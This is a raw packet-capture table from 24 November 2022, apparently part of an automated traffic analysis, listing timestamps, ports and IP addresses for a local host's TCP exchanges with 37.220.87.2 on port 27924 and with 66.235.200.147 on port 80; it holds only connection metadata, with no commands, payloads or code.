Nov 24, 2022 13:27:46.489588022 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.489649057 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.489658117 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.489845991 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.489867926 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.489876032 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.489886999 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.490123987 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.490134001 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.490145922 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.509124041 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.509157896 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.509198904 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.509516001 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:46.509651899 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:46.509717941 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:46.509787083 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.509881020 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.510214090 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.510672092 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.510732889 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.510759115 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.511094093 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:46.538953066 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.539169073 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.539181948 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.539299965 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.539311886 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.539398909 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.539411068 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.539422035 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.539509058 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.539555073 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.539710999 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.539727926 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.539753914 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.539860964 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.539877892 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.540020943 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.540031910 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.540463924 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.540476084 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.540579081 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.540591955 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.540700912 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.540713072 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.540827036 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.540848017 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.540858984 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.541100979 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.541114092 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.565088034 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.618905067 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:46.714787006 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:46.747073889 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.762974977 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.785326958 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:46.832834959 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:46.834507942 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:46.881752968 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:47.118941069 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:48.250164986 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:48.297698975 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:48.397449017 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:48.445419073 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:48.450956106 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:48.498953104 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:48.501533985 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:48.549181938 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:48.553324938 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:48.600514889 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:48.728354931 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:48.775733948 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:48.892765999 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:48.923078060 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:48.943115950 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:49.118706942 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:49.153707027 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:49.185955048 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:49.204293966 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:49.221225023 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:49.268836975 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:49.269658089 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:49.317486048 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:49.318530083 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:49.371310949 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:27:49.415586948 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:27:50.011195898 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.028367996 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.028549910 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.030533075 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.050280094 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.091732979 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.091775894 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.091799021 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.091835022 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.091883898 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.091913939 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.091938019 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.091941118 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.091960907 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.091989040 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.092006922 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.092012882 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.092024088 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.092036963 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.092060089 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.092061996 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.092116117 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.092148066 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.092242956 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.092269897 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.092288017 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.092293978 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.092336893 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.094451904 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.094521999 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.094547987 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.094578028 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.094592094 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.094681978 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.095182896 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.095201969 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.095218897 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.095237970 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.095264912 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.095290899 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.095702887 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.095720053 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.095737934 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.095767021 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.095776081 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.095814943 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.095972061 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.095989943 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.096031904 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.109066963 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.109128952 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.109169006 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.109226942 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.109306097 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.109378099 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.109519958 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.109544992 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.109570026 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.109608889 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.109617949 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.109673977 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.110270023 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.110306978 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.110331059 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.110357046 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.110985994 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.111008883 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.111043930 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.111089945 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.111136913 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.111174107 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.111732960 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.111783981 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.111788034 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.111860991 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.111884117 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.111905098 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.112529993 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.112561941 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.112585068 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.112605095 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.112623930 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.112642050 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.113332987 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.113365889 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.113379955 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.113389015 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.113425970 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.113430977 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.114212036 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.114263058 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.114290953 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.114314079 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.114353895 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.114353895 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.114975929 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.115025997 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.115047932 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.115050077 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.115098000 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.115173101 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.115838051 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.115895033 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.116015911 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.116039991 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.116070032 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.116080999 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.116092920 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.116138935 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.116966009 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.117016077 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.117041111 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.117063046 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.117064953 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.117106915 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.117647886 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.117685080 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.117707014 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.117728949 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.117738962 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.117772102 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.118449926 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.118474960 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.118525982 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.118937969 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.126328945 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.126348972 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.126395941 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.126533031 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.126550913 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.126566887 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.126576900 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.126585007 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.126601934 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.127265930 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.127329111 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.127350092 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.127368927 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.127386093 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.127403975 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.128962994 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.128987074 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.129008055 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.129019976 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.129029989 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.129050016 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.129053116 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.129076004 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.129097939 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.129489899 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.129528046 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.129533052 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.129550934 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.129573107 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.129589081 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.129595995 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.129637957 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.130413055 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.130454063 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.130476952 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.130494118 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.130500078 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.130522013 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.130541086 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.132241964 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.132272959 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.132294893 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.132302999 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.132318020 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.132339954 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.132339001 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.132375002 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.132870913 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.132894039 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.132915020 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.132932901 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.132937908 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.132977962 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.134181976 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.134206057 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.134227991 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.134248972 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.134264946 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.134272099 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.134289026 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.134296894 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.134341955 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.134618998 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.134643078 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.134665012 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.134685040 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.134696960 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.134706974 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.134735107 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.135435104 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.135457993 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.135488987 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.138350964 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.138415098 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.143279076 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.143311024 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.143338919 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.143367052 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.143367052 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.143414021 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.144258976 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.144290924 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.144318104 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.144347906 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.144349098 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.144376040 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.144388914 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.144404888 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.144433022 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.144442081 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.144460917 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.144505978 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.145921946 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.145945072 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.146008968 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.146552086 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.146583080 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.146611929 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.146626949 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.146641016 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.146686077 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.146694899 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.146716118 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.146744013 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.146753073 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.146773100 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.146816015 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.147336006 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.147406101 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.147433996 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.147449017 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.147461891 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.147511005 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.149197102 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.149235964 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.149274111 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.149286985 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.149311066 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.149348021 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.149352074 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.149384975 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.149421930 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.149432898 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.149458885 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.149511099 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.149689913 CET	80	49701	66.235.200.147	192.168.2.4
